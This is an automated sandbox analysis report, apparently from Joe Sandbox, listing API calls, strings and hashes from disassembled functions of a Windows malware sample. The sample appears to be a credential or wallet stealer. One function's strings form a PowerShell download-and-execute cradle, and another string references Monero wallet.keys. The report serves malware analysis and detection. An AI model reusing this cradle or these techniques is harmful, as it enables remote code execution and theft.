                                    • Opcode Fuzzy Hash: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
                                    • Instruction Fuzzy Hash: 78416035A00219EBCF10DF68C885A9EBBA5EF49314F188165ED19AB3A2D731D905CBB1
                                    Function 00CD5000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00CD501A
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CD5021
                                    • InternetOpenA.WININET(00CF0DE3,00000000,00000000,00000000,00000000), ref: 00CD503A
                                    • InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00CD5061
                                    • InternetReadFile.WININET(?,?,00000400,00000000), ref: 00CD5091
                                    • InternetCloseHandle.WININET(?), ref: 00CD5109
                                    • InternetCloseHandle.WININET(?), ref: 00CD5116
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
                                    • String ID:
                                    • API String ID: 3066467675-0
                                    • Opcode ID: 83733f63a520e004c42ba9ebd01a3a517089bc2c7197e9c082aacf3f699df148
                                    • Instruction ID: 51c98de31828be8ec990b9f09c854f156a55eeb66510f66b8103dc0773ca1dc1
                                    • Opcode Fuzzy Hash: 83733f63a520e004c42ba9ebd01a3a517089bc2c7197e9c082aacf3f699df148
                                    • Instruction Fuzzy Hash: 9F31F5F5A4421CABDB20DF54DC85BDDB7B4AB48304F1081D9FB09A7281D7706AC59F98
                                    Function 00CE856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00CE85B6
                                    • wsprintfA.USER32 ref: 00CE85E9
                                    • RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00CE860B
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00CE861C
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00CE8629
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                    • RegQueryValueExA.ADVAPI32(00000000,0159DC38,00000000,000F003F,?,00000400), ref: 00CE867C
                                    • lstrlen.KERNEL32(?), ref: 00CE8691
                                    • RegQueryValueExA.ADVAPI32(00000000,0159DC68,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00CF0B3C), ref: 00CE8729
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00CE8798
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00CE87AA
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
                                    • String ID: %s\%s
                                    • API String ID: 3896182533-4073750446
                                    • Opcode ID: 2881ccbd46f2983e935f5e7ca0f6b219d7b00dd641dbbaada166fb416db0abfc
                                    • Instruction ID: 5eb2bc821d2d9d154cdca566a9951f522d111860e75d00bca976f3cfa822e74c
                                    • Opcode Fuzzy Hash: 2881ccbd46f2983e935f5e7ca0f6b219d7b00dd641dbbaada166fb416db0abfc
                                    • Instruction Fuzzy Hash: 8E21E6B1A1421CABDB24DB54DC85FE9B3B8FB48700F10C5D8B609A6180DF71AA85DFA4
                                    Function 00CE99A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00CE99C5
                                    • Process32First.KERNEL32(00CDA056,00000128), ref: 00CE99D9
                                    • Process32Next.KERNEL32(00CDA056,00000128), ref: 00CE99F2
                                    • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00CE9A4E
                                    • TerminateProcess.KERNEL32(00000000,00000000), ref: 00CE9A6C
                                    • CloseHandle.KERNEL32(00000000), ref: 00CE9A79
                                    • CloseHandle.KERNEL32(00CDA056), ref: 00CE9A88
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
                                    • String ID:
                                    • API String ID: 2696918072-0
                                    • Opcode ID: a686d77d4626ef6d9fbd26e5a7248fa3072f130ecfbd6ea624c6bc9164460b34
                                    • Instruction ID: efc12df81d4b0bace8029efe8dd7f33287651a0daf60c11cc227bbdd3098d921
                                    • Opcode Fuzzy Hash: a686d77d4626ef6d9fbd26e5a7248fa3072f130ecfbd6ea624c6bc9164460b34
                                    • Instruction Fuzzy Hash: 3721E7B1904218ABDB21EFA2DC88BEDB7B9FF49300F104198E509A6290D7749B84DF90
                                    Function 00CE7820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CE7834
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CE783B
                                    • RegOpenKeyExA.ADVAPI32(80000002,0158B700,00000000,00020119,00000000), ref: 00CE786D
                                    • RegQueryValueExA.ADVAPI32(00000000,0159DD10,00000000,00000000,?,000000FF), ref: 00CE788E
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00CE7898
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateCloseOpenProcessQueryValue
                                    • String ID: Windows 11
                                    • API String ID: 3225020163-2517555085
                                    • Opcode ID: 7b6eee43e55ab2bd97b3b0737143a8f0d5e366372568da048fbf4e82f4559b3b
                                    • Instruction ID: 5feba34bfd3e01454e003c3e147e788f984c0361b30a01d579e09148b24351e1
                                    • Opcode Fuzzy Hash: 7b6eee43e55ab2bd97b3b0737143a8f0d5e366372568da048fbf4e82f4559b3b
                                    • Instruction Fuzzy Hash: 5F01FFB5A48309BBEB10EBE5DD49F6E77B8EB49700F104194FA05E6291E6709A00EB50
                                    Function 00CE78B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CE78C4
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CE78CB
                                    • RegOpenKeyExA.ADVAPI32(80000002,0158B700,00000000,00020119,00CE7849), ref: 00CE78EB
                                    • RegQueryValueExA.ADVAPI32(00CE7849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00CE790A
                                    • RegCloseKey.ADVAPI32(00CE7849), ref: 00CE7914
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateCloseOpenProcessQueryValue
                                    • String ID: CurrentBuildNumber
                                    • API String ID: 3225020163-1022791448
                                    • Opcode ID: 58ee17bee39ae10b5b52d9c83c329dc7666be95dcd8e9ba739d88d4011b91f1c
                                    • Instruction ID: f609e4122e5a0d229bfc36962931914280914e2bf4f310e3e4d04233afbc4a87
                                    • Opcode Fuzzy Hash: 58ee17bee39ae10b5b52d9c83c329dc7666be95dcd8e9ba739d88d4011b91f1c
                                    • Instruction Fuzzy Hash: 5C01F4F5A4430DBFDB00EBD4DC49FAE77B8EB45700F104595F605A6281D7705A009B91
                                    Function 00CDA110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CDA13C
                                    • GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CDA161
                                    • LocalAlloc.KERNEL32(00000040,?), ref: 00CDA181
                                    • ReadFile.KERNEL32(000000FF,?,00000000,00CD148F,00000000), ref: 00CDA1AA
                                    • LocalFree.KERNEL32(00CD148F), ref: 00CDA1E0
                                    • CloseHandle.KERNEL32(000000FF), ref: 00CDA1EA
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$Local$AllocCloseCreateFreeHandleReadSize
                                    • String ID:
                                    • API String ID: 2311089104-0
                                    • Opcode ID: cfd328cb762a12a58d6ee1d89accbd0f42fd3011adbec2e1b728a3607c7ed0d9
                                    • Instruction ID: f257acd4525ee13a82335c1e51ca8a8ca2b0f4081259a357ca6d425477909746
                                    • Opcode Fuzzy Hash: cfd328cb762a12a58d6ee1d89accbd0f42fd3011adbec2e1b728a3607c7ed0d9
                                    • Instruction Fuzzy Hash: 8931D6B4A00209EFDB14DFA4DC85FAEBBB5BB49304F108159E911A7390D774AA81DFA1
                                    Function 00CE49D0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • lstrcat.KERNEL32(?,0159DFB0), ref: 00CE4A2B
                                      • Part of subcall function 00CE8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CE8F9B
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CE4A51
                                    • lstrcat.KERNEL32(?,?), ref: 00CE4A70
                                    • lstrcat.KERNEL32(?,?), ref: 00CE4A84
                                    • lstrcat.KERNEL32(?,0158B220), ref: 00CE4A97
                                    • lstrcat.KERNEL32(?,?), ref: 00CE4AAB
                                    • lstrcat.KERNEL32(?,0159D638), ref: 00CE4ABF
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CE8F20: GetFileAttributesA.KERNEL32(00000000,?,00CD1B94,?,?,00CF577C,?,?,00CF0E22), ref: 00CE8F2F
                                      • Part of subcall function 00CE47C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00CE47D0
                                      • Part of subcall function 00CE47C0: RtlAllocateHeap.NTDLL(00000000), ref: 00CE47D7
                                      • Part of subcall function 00CE47C0: wsprintfA.USER32 ref: 00CE47F6
                                      • Part of subcall function 00CE47C0: FindFirstFileA.KERNEL32(?,?), ref: 00CE480D
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
                                    • String ID:
                                    • API String ID: 2540262943-0
                                    • Opcode ID: 680340f4837412a5883aa3fff44b5af7d2b03c11b336875d2735fc03d9d87e5d
                                    • Instruction ID: 286d0c2cc98ea14645d10f23a323e42cd526ba5865114ec1a9a17b5cedee57de
                                    • Opcode Fuzzy Hash: 680340f4837412a5883aa3fff44b5af7d2b03c11b336875d2735fc03d9d87e5d
                                    • Instruction Fuzzy Hash: 05315DF2A0020CABDB14FBB0DC86EED7378AB49700F404589B60996091EE74A78CDF94
                                    Function 00CE2EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                    • ShellExecuteEx.SHELL32(0000003C), ref: 00CE2FD5
                                    Strings
                                    • <, xrefs: 00CE2F89
                                    • -nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00CE2F14
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00CE2F54
                                    • ')", xrefs: 00CE2F03
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
                                    • String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    • API String ID: 3031569214-898575020
                                    • Opcode ID: 0f4a1c6dc7b46cacfc613a9c5174b63a33af659bf4c4db27d33004facad84261
                                    • Instruction ID: 5a381c0e52943b10a8da76a7350b2a0dc2c44c732a4177bd081369ab3c7efe46
                                    • Opcode Fuzzy Hash: 0f4a1c6dc7b46cacfc613a9c5174b63a33af659bf4c4db27d33004facad84261
                                    • Instruction Fuzzy Hash: E441E871D102889FDB14EBA1CCA2BEDBB79AF10300F514469E11666192EF713A49DF92
                                    Function 00CE4300 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • RegOpenKeyExA.ADVAPI32(80000001,0159D6D8,00000000,00020119,?), ref: 00CE4344
                                    • RegQueryValueExA.ADVAPI32(?,0159DE48,00000000,00000000,00000000,000000FF), ref: 00CE4368
                                    • RegCloseKey.ADVAPI32(?), ref: 00CE4372
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CE4397
                                    • lstrcat.KERNEL32(?,0159DE60), ref: 00CE43AB
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
